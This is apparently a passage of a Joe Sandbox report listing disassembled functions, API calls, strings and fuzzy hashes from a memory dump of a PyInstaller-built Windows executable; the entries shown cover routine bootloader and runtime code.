MoveWindow.USER32 ref: 00007FF7EAD02366

Strings

P%, xrefs: 00007FF7EAD021FF

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: a8012bd7a016f766f73a3bb871c3bde1a5f8a6b3d9f8da6d8397509c6ea95a9f
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: F651E536604BA186E734DF26E4582BAB7A1F798B65F004132EBDE43698DF7CD045DB20

Function 00007FF7EAD080C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7EAD080FF
GetWindowLongPtrW.USER32 ref: 00007FF7EAD0817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF7EAD08192
GetLastError.KERNEL32 ref: 00007FF7EAD0819C
SetWindowLongPtrW.USER32 ref: 00007FF7EAD081B3

Strings

Needs to remove its temporary files., xrefs: 00007FF7EAD08185

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 08d2f0078a2418339bae3794c8e6a015887efc3b0f7d055a356ea95435a0c623
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 7C219431B08A4281F741EB7AA884379A365EF98B94F984272DA2D4339CDE7CD5518333

Function 00007FF7EAD16290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD162D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD166C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1695C

Strings

p, xrefs: 00007FF7EAD163FD
-, xrefs: 00007FF7EAD16369
p, xrefs: 00007FF7EAD16385
f, xrefs: 00007FF7EAD163F5
:, xrefs: 00007FF7EAD1648C

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: de9c408c801e32101772736e53160e0a1d31566744e1e5ec98a3828aaa881f07
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 46126562E0C24386FB24FA24D1547B9B7A2FB60750FC441F7D699866CEDB3CE5408B22

Function 00007FF7EAD10FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD11008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD113D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1166F

Strings

f, xrefs: 00007FF7EAD110A0
f, xrefs: 00007FF7EAD1110A
p, xrefs: 00007FF7EAD110AD
p, xrefs: 00007FF7EAD11112
f, xrefs: 00007FF7EAD11255

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 2653f5c1d6cf5271562f7af52eaaaad06ad4b670c26ad9377011de4cd82377d0
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: BC127361E0C54386FB24EA24A054379F7A5FB60754FC4417BF69A46ACCDB7CED808B22

Function 00007FF7EAD01050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF7EAD011FD
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7EAD01108
fseek, xrefs: 00007FF7EAD010D3
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7EAD010CC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7EAD01098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7EAD011F6
malloc, xrefs: 00007FF7EAD0110F

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 44d3663ac886a74f27bf0299a60bdb2a17e78e9504a320c07c927e36cc87db77
Instruction ID: c179b02e8ab817fdc8e10f860ac16882aa3e4fbaf717dbd76427642e37a46e0b
Opcode Fuzzy Hash: 44d3663ac886a74f27bf0299a60bdb2a17e78e9504a320c07c927e36cc87db77
Instruction Fuzzy Hash: FB418E61A0865282FA04FB51A8407B9E396FF54B88FC444B3ED4C4778ADE3CE545C362

Function 00007FF7EAD01470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF7EAD015E6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7EAD01518
fseek, xrefs: 00007FF7EAD014E5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7EAD014DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7EAD0149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7EAD015DF
malloc, xrefs: 00007FF7EAD0151F

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: ba66df6895bd2fe50a7fbf599ddcec943e173133a1bf7a4519d7db8308d256bf
Instruction ID: 5b5ed3e474994c15a654b0ec843c4b7f621b2fcb613c033fff18a9adf1a11a26
Opcode Fuzzy Hash: ba66df6895bd2fe50a7fbf599ddcec943e173133a1bf7a4519d7db8308d256bf
Instruction Fuzzy Hash: 9D417C61A0864286FB10FB21A4817B9E3A1EF44788FC445B3EE4D4BB9DDE7CE541C762

Function 00007FF7EAD0EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7EAD0EA65

Part of subcall function 00007FF7EAD0F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7EAD0F9FF
Part of subcall function 00007FF7EAD0F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7EAD0FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7EAD0EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7EAD0ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7EAD0EE98

Strings

csm, xrefs: 00007FF7EAD0EAE6
csm, xrefs: 00007FF7EAD0EB60
csm, xrefs: 00007FF7EAD0EA7F

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 05464cc64c94789c6e6be47188418392d33ad4dfff48b3357dbd55191c3470ef
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 28D19132A087418AFB20EB25D4843ADB7A5FB54B8CF900176DE8D5779ACF38E080C752

Function 00007FF7EAD02C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02D63
MessageBoxW.USER32 ref: 00007FF7EAD02D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF7EAD02D70
Error, xrefs: 00007FF7EAD02D8C
%ls: , xrefs: 00007FF7EAD02D22
[PYI-%d:ERROR] , xrefs: 00007FF7EAD02CA6

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 9ecc6b87ec965c91b67ea067c1b481f8fca2832ff5f007ae2c7cd0bea07cbbb1
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 2931B332B08A4142F721EB25A8543AAA796FB88B98F810136EF4D9375DDE3CD546C721

Function 00007FF7EAD0DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DD4D
GetLastError.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DD85
FreeLibrary.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DDFF

Strings

api-ms-, xrefs: 00007FF7EAD0DD6D

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 2c713b49549d6f197d2fde16d52d0d293cb4c8df6ec7ff3b1af5dffb154b89d4
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 8B31A121B1A74291FE12EB06A4407B9A395FF48FA8F994577ED5D07388EF7CE4448231

Function 00007FF7EAD06360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF7EAD063C7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF7EAD06407
LoadLibrary, xrefs: 00007FF7EAD064AE
Failed to load Python DLL '%ls'., xrefs: 00007FF7EAD064A7
ucrtbase.dll, xrefs: 00007FF7EAD063DD
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF7EAD06456

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction ID: 927f537e46426d2aaace940f905dbf842ef3cc4270607b018656d2f6871e6012
Opcode Fuzzy Hash: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction Fuzzy Hash: 2E417121A1CA8691FA21FB20E4943E9A316FF44358FC001B3EA5C4369DEF7CE509C762

Function 00007FF7EAD02A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF7EAD0351A,?,00000000,00007FF7EAD03F23), ref: 00007FF7EAD02AA0

Strings

Warning, xrefs: 00007FF7EAD02B1E
[PYI-%d:%s] , xrefs: 00007FF7EAD02AA8
Warning [ANSI Fallback], xrefs: 00007FF7EAD02B0F
0, xrefs: 00007FF7EAD02B16
WARNING, xrefs: 00007FF7EAD02AAF

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: f5e54560c04cc6bca7bda04a6944ccef72f7451e5b81d96eeb26d12b1cbd133b
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 29217F72A19B8142F720EB61B8817E6A7A4FB88784F800176FE8D4365DDF7CD245C651

Function 00007FF7EAD1B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7EAD1B15F
FlsGetValue.KERNEL32 ref: 00007FF7EAD1B174
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B195
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B1C2
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B1D3
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B1E4
SetLastError.KERNEL32 ref: 00007FF7EAD1B1FF

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction ID: 8a3ba129aaf0e41bd238301cd0bc4d9668ea0521642bac162b1e70f298d2df74
Opcode Fuzzy Hash: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction Fuzzy Hash: BD215C30E0964281F655F3319652379D396DF687B0F8146B7D93E476DEDD3CA8808222

Function 00007FF7EAD27D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7EAD27D9D
GetLastError.KERNEL32 ref: 00007FF7EAD27DA9
CloseHandle.KERNEL32 ref: 00007FF7EAD27DC1
CreateFileW.KERNEL32 ref: 00007FF7EAD27DEC
WriteConsoleW.KERNEL32 ref: 00007FF7EAD27E0B

Strings

CONOUT$, xrefs: 00007FF7EAD27DCD

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 7bd9408958f38dd35ee73b0b19f1becb0e3da1c08a021a71317dd89eae2cf5ae
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 7311B131A18B4282F760EB12E844329A3A4FB88BF4F840275EA5D87798CF7CD814C721

Function 00007FF7EAD08ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD08EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD08F5A

Part of subcall function 00007FF7EAD09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7EAD045F4,00000000,00007FF7EAD01985), ref: 00007FF7EAD093C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD08FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD09044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD09055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD0906A

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction ID: 13a75050ef9c01607e677343f9a0904565bb5ea5655d81eefebb84b5324e9fba
Opcode Fuzzy Hash: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction Fuzzy Hash: 8241B761A1968281FA30EB61E5803BAB395FB84BC8F840176DF4D5779DDE3CE500C721

Function 00007FF7EAD1B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B30D
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B33A
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B34B
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B35C
SetLastError.KERNEL32(?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A,?,?,?,?,00007FF7EAD1718F), ref: 00007FF7EAD1B377

